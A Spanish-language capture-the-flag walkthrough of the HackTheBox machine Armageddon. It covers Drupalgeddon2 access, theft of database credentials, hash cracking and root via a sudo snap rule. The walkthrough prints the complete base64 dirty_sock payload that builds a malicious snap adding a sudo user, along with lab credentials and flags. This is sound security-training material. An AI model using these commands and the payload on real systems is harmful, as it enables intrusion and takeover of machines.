En este documento se recogen los pasos a seguir para la resolución de la máquina Armageddon de la plataforma HackTheBox. Se trata de una máquina Linux de 64 bits, que posee una dificultad fácil de resolución según la plataforma.
Write-up en PDF realizado mediante LaTeX
Enumeración de servicios y recopilación de información sensible
Lo primero a realizar es un escaneo de todo el rango de puertos TCP mediante la herramienta Nmap
.
1
2
3
4
5
6
7
8
# nmap -p- --open -T5 -n -vv 10.10.10.233
Not shown: 65533 closed ports
Reason: 65533 resets
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Una vez que enumero los puertos que la máquina tiene abiertos, aplico scripts básicos de enumeración y utilizo la flag -sV para intentar conocer la versión y servicio que están ejecutando cada uno de esos puertos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# nmap -p 22,80 -sC -sV 10.10.10.233
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 82:c6:bb:c7:02:6a:93:bb:7c:cb:dd:9c:30:93:79:34 (RSA)
| 256 3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc (ECDSA)
|_ 256 7a:d4:b3:68:79:cf:62:8a:7d:5a:61:e7:06:0f:5f:33 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Welcome to Armageddon | Armageddon
Los scripts de Nmap
me muestran algunas cosas interesantes, como el servidor web utilizado (Apache 2.4.6), la versión de PHP y que se emplea un gestor de contenidos Drupal
(versión 7). También me indica algunas rutas deshabilitadas en el fichero robots.txt
. Al tratarse de un gestor de contenidos Drupal, consigo enumerar la versión exacta accediendo al fichero CHANGELOG.txt
, donde nos aparece el listado de cambios de la última versión instalada y de las versiones anteriores.
1
2
3
4
5
# curl http://10.10.10.233/CHANGELOG.txt
Drupal 7.56, 2017-06-21
-----------------------
- Fixed security issues (access bypass). See SA-CORE-2017-003.
Con esta versión de Drupal y la pista que ofrece el nombre de la máquina (Armageddon), el primer vector de ataque que se me ocurre probar es el exploit Drupalgeddon2
, que consiste en una Ejecución Remota de Código (RCE) sin necesidad de autenticarnos en el gestor de contenido. Al buscar en SearchSploit
, encuentro 3 exploits correspondientes a Drupalgeddon2, 2 escritos en Ruby (uno de ellos para Metasploit) y 1 escrito en Python.
Probare primero con el script en Ruby, cuyo identificador en Exploit-DB es 44449.
Acceso a la máquina
Tras ejecutar el script y pasarle como argumento la URL del servidor vulnerable, consigo conectarme a la máquina víctima como el usuario apache
. El script simula una shell, aunque se trata de una fake-shell, ya que lo que hace es subir un archivo PHP malicioso al servidor y tramitar una petición HTTP con cada comando que recibe.
Una vez dentro de la máquina víctima, me envío una shell a mi máquina de atacante utilizando algunas sentencias de Python3, para así trabajar de una forma más cómoda en la escalada de privilegios.
Escalada de privilegios
Usuario brucetherealadmin
Una vez obtengo la reverse shell, me pongo a buscar dentro del directorio del servidor web archivos de configuración en PHP, ya que estos pueden contener credenciales en texto claro. En mi caso, utilizaré Grep
para filtrar por ficheros o directorios que contengan las palabras “config” o “settings” en el nombre..
1
2
3
4
5
6
7
8
9
$ find . | grep -E "config|settings"
./misc/configure.png
./modules/update/update.settings.inc
./sites/default/default.settings.php
./sites/default/settings.php
./themes/garland/theme-settings.php
./web.config
./.editorconfig
De los resultados obtenidos, el que más me llama la atención es el fichero “settings.php”. Al abrir el archivo y buscar en él, visualizo la siguiente estructura, correspondiente a las credenciales de una base de datos local:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupal',
'username' => 'drupaluser',
'password' => 'CQHEy@9M*m23gBVj',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);
Con esas credenciales, utilizo la interfaz de línea de comandos de MySQL
para intentar acceder a la base de datos y ver su contenido. En primer lugar, listo las tablas que componen la base de datos “drupal” y que tengan contenido relativo a los usuarios, filtrando con \textbf{\textsl{Grep}} por las palabras “user” y “pass”.
1
2
3
4
5
$ mysql -udrupaluser -pCQHEy@9M*m23gBVj -e "SHOW TABLES FROM drupal;" | grep -i -E "user|pass"
shortcut_set_users
users
users_roles
De las tablas que he obtenido, la que más me interesa es la de “users”. Si utilizamos la sentencia describe
podemos ver los campos que componen la tabla, siendo uno de ellos el campo “pass”.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ mysql -udrupaluser -pCQHEy@9M*m23gBVj -D drupal -e "describe users;"
Field Type Null Key Default Extra
uid int(10) unsigned NO PRI 0
name varchar(60) NO UNI
pass varchar(128) NO
mail varchar(254) YES MUL
theme varchar(255) NO
signature varchar(255) NO
signature_format varchar(255) YES NULL
created int(11) NO MUL 0
access int(11) NO MUL 0
login int(11) NO 0
status tinyint(4) NO 0
timezone varchar(32) YES NULL
language varchar(12) NO
picture int(11) NO MUL 0
init varchar(254) YES
data longblob YES NULL
Por tanto, utilizo la sentencia select
para obtener los nombres de usuario y sus respectivas contraseñas, obteniendo el siguiente resultado:
1
2
3
4
5
6
7
8
$ mysql -udrupaluser -pCQHEy@9M*m23gBVj -D drupal -e "select name,pass from users;"
name pass
brucetherealadmin $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt
toto $S$DpBGzyo25xGDy9fKxiOQ.Qp/Y716KreJLZ5sW/adVr99WCN2K3AV
random $S$DBlsy3rYceP/vtBmjPflw0jnwi9vYFCKhuBx0JcrQUm5i2ugImRu
randome $S$Df0VDlr2RgxhVNFbaRG8FbANcoT.tR18/Z/J0MepSSvMXJ0a7i9X
random0 $S$DAfuci2ClSJhWWxqc96cWSXyjJHh5blq0nwIk1DpfoSSnB705xLW
De estos usuarios, los que más me interesan son “brucetherealadmin” y “toto”, ya que los otros son usuarios aleatorios creados. Tras una rápida revisión del fichero /etc/passwd
de la máquina, veo que “brucetherealadmin” es un usuario existente en el sistema Linux, por lo que me centrare primero en este usuario.
1
2
3
4
$ cat /etc/passwd | grep "sh$"
root:x:0:0:root:/root:/bin/bash
brucetherealadmin:x:1000:1000::/home/brucetherealadmin:/bin/bash
Copio el hash de la contraseña que hemos obtenido a un fichero y aplico un ataque de fuerza bruta con John The Ripper
para intentar obtener la contraseña en texto claro.
1
2
3
4
5
6
7
8
# john --wordlist=/usr/share/wordlists/rockyou.txt brucetherealadmin_hash
Using default input encoding: UTF-8
Loaded 1 password hash (Drupal7, $S$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 32768 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
booboo (?)
Con la contraseña obtenida me conecto mediante el servicio SSH y visualizo la flag de usuario en la máquina víctima.
1
2
3
4
5
6
7
8
9
# ssh -l brucetherealadmin 10.10.10.233
brucetherealadmin@10.10.10.233's password:
Last failed login: Thu Apr 15 11:35:07 BST 2021 from 10.10.14.33 on ssh:notty
There was 1 failed login attempt since the last successful login.
Last login: Fri Mar 19 08:01:19 2021 from 10.10.14.5
[brucetherealadmin@armageddon ~]$ cat user.txt
9557c1e1d13935db03272b8dc6f9bca3
Usuario administrador (root)
Una vez que he conseguido escalar privilegios al usuario “brucetherealadmin”, debo seguir escalando hasta llegar a ser administrador o root. Con el comando sudo -l
compruebo si puede ejecutarse algún archivo con privilegios de otro usuario o sin proporcionar contraseña. En este caso, se puede ejecutar snap install
seguido de cualquier argumento como el usuario “root” y sin proporcionar contraseña.
1
2
3
4
5
6
7
8
9
[brucetherealadmin@armageddon ~]$ sudo -l
Matching Defaults entries for brucetherealadmin on armageddon:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User brucetherealadmin may run the following commands on armageddon:
(root) NOPASSWD: /usr/bin/snap install *
Investigando por internet formas de escalar privilegios mediante Snap
, encuentro el exploit dirty\_sock
en ExploitDB. Tras observar el exploit veo que, mediante un payload codificado en Base64 crea un fichero .snap malicioso que, al instalarlo, creará un usuario “dirty_sock” que estará dentro del grupo sudo
, por lo que puedo convertirme en root ejecutando un sudo su
y proporcionando la contraseña del nuevo usuario creado.
Por tanto, creo un fichero con el contenido del payload decodificado y ejecuto el comando snap install
con la flag “devmode” y pasandole el archivo .snap malicioso como argumento.
1
2
3
4
[brucetherealadmin@armageddon ~]$ python2 -c "print ('''aHNxcwcAAAAQIVZcAAACAAAAAAAEABEA0AIBAAQAAADgAAAAAAAAAI4DAAAAAAAAhgMAAAAAAAD//////////xICAAAAAAAAsAIAAAAAAAA+AwAAAAAAAHgDAAAAAAAAIyEvYmluL2Jhc2gKCnVzZXJhZGQgZGlydHlfc29jayAtbSAtcCAnJDYkc1daY1cxdDI1cGZVZEJ1WCRqV2pFWlFGMnpGU2Z5R3k5TGJ2RzN2Rnp6SFJqWGZCWUswU09HZk1EMXNMeWFTOTdBd25KVXM3Z0RDWS5mZzE5TnMzSndSZERoT2NFbURwQlZsRjltLicgLXMgL2Jpbi9iYXNoCnVzZXJtb2QgLWFHIHN1ZG8gZGlydHlfc29jawplY2hvICJkaXJ0eV9zb2NrICAgIEFMTD0oQUxMOkFMTCkgQUxMIiA+PiAvZXRjL3N1ZG9lcnMKbmFtZTogZGlydHktc29jawp2ZXJzaW9uOiAnMC4xJwpzdW1tYXJ5OiBFbXB0eSBzbmFwLCB1c2VkIGZvciBleHBsb2l0CmRlc2NyaXB0aW9uOiAnU2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9pbml0c3RyaW5nL2RpcnR5X3NvY2sKCiAgJwphcmNoaXRlY3R1cmVzOgotIGFtZDY0CmNvbmZpbmVtZW50OiBkZXZtb2RlCmdyYWRlOiBkZXZlbAqcAP03elhaAAABaSLeNgPAZIACIQECAAAAADopyIngAP8AXF0ABIAerFoU8J/e5+qumvhFkbY5Pr4ba1mk4+lgZFHaUvoa1O5k6KmvF3FqfKH62aluxOVeNQ7Z00lddaUjrkpxz0ET/XVLOZmGVXmojv/IHq2fZcc/VQCcVtsco6gAw76gWAABeIACAAAAaCPLPz4wDYsCAAAAAAFZWowA/Td6WFoAAAFpIt42A8BTnQEhAQIAAAAAvhLn0OAAnABLXQAAan87Em73BrVRGmIBM8q2XR9JLRjNEyz6lNkCjEjKrZZFBdDja9cJJGw1F0vtkyjZecTuAfMJX82806GjaLtEv4x1DNYWJ5N5RQAAAEDvGfMAAWedAQAAAPtvjkc+MA2LAgAAAAABWVo4gIAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAAFwAAAAAAAAAwAAAAAAAAACgAAAAAAAAAOAAAAAAAAAAPgMAAAAAAAAEgAAAAACAAw'''+'A'*4256+'==')" | base64 -d > dirty.snap
[brucetherealadmin@armageddon ~]$ sudo /usr/bin/snap install --devmode dirty.snap
dirty-sock 0.1 installed
Tras esto, el usuario “dirty_sock” está creado y puedo migrarme a él proporcionando la contraseña, que también es “dirty_sock”. Por último, ejecuto un sudo su
y vuelvo a proporcionar la contraseña del usuario “dirty_sock”, convirtiéndome así en root y pudiendo visualizar la flag final.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[brucetherealadmin@armageddon ~]$ su dirty_sock
Password: dirty_sock
[dirty_sock@armageddon ~]$ sudo su
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for dirty_sock: dirty_sock
[root@armageddon ~]#cat root.txt
13a2e1f5a9e7946e71b640a533c676e5